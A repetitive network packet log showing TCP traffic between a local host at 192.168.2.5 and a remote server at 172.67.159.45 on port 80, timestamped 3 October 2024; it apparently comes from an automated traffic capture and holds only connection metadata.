Oct 3, 2024 05:02:58.689119101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689135075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689174891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689177036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689225912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689230919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689259052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689280987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689292908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689318895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689327002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689338923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689379930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689399004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689429045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689435005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689466000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689480066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689500093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689521074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689533949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689548969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689568043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689584970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689600945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689625978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689646006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689970016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690026045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690042019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690093994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690102100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690126896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690145969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690160990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690184116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690195084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690212965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690248966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690253973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690299034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690304041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690332890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690351009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690366030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690387011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690399885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690421104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690434933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690454006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690469027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690481901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690501928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690521955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690535069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.690551043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.690587044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.776866913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.776917934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.776952982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.776987076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777023077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777055979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777086973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777092934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777086973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777086973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777086973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777086973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777169943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777169943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777189016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777322054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777352095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777385950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777420044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777429104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777429104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777429104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777429104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777453899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777488947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777508020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777508020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777523041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777534962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777556896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777579069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777611017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777616024 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777643919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777679920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777690887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777690887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777725935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777787924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777837038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777846098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777870893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777889967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777904987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777921915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777939081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777961969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.777972937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.777986050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778007030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778031111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778038979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778055906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778089046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778213978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778261900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778271914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778295040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778337002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778356075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778367996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778402090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778422117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778435946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778450966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778470993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778486013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778508902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778525114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778544903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778672934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778706074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778724909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778738976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778759003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778773069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778781891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778806925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778831005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778841019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.778858900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.778887033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779076099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779108047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779133081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779140949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779161930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779174089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779185057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779221058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779227972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779253960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779285908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779297113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779297113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779320002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779342890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779354095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779409885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779442072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779468060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779500961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779503107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779503107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779532909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779540062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779566050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779577017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779577017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779599905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779624939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779644966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779879093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779912949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779937983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779944897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.779963970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.779978991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780002117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780010939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780024052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780041933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780065060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780075073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780083895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780106068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780119896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780138969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780155897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780173063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780184984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780205965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780219078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780240059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780255079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780272961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780282974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780306101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780319929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780339003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780354023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780371904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780380964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780405045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780417919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780440092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780461073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780472994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780486107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780522108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780659914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780708075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780710936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780745029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780760050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780774117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.780788898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.780823946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781172037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781200886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781228065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781233072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781245947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781266928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781285048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781301975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781313896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781335115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781348944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781368971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781388044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781403065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781415939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781436920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781445026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781470060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781485081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781503916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781522036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781541109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781549931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781586885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781688929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781721115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781735897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781754017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781765938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781789064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781804085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781821966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781832933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781855106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781872034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781899929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.781945944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781979084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.781994104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782011986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782022953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782046080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782059908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782080889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782097101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782125950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782368898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782418013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782419920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782454014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782465935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782501936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782535076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782567024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782582045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782603025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782618046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782636881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782646894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782701015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782701969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782736063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782746077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782773018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782783985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782805920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782824039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782851934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782886028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782922983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782934904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782955885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.782974005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.782996893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.868952990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869196892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869431019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869477034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869513035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869548082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869582891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869616985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869632006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869632006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869632006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869632006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869632006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869649887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869688034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869713068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869713068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869740009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.869867086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.869952917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870004892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870039940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870038986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870039940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870071888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870106936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870117903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870117903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870119095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870138884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870147943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870172024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870187998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870223045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870224953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870260000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870275974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870292902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870318890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870326042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870342016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870358944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870369911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870395899 CEST	80	49705	172.67.159.45	192.168.2.5
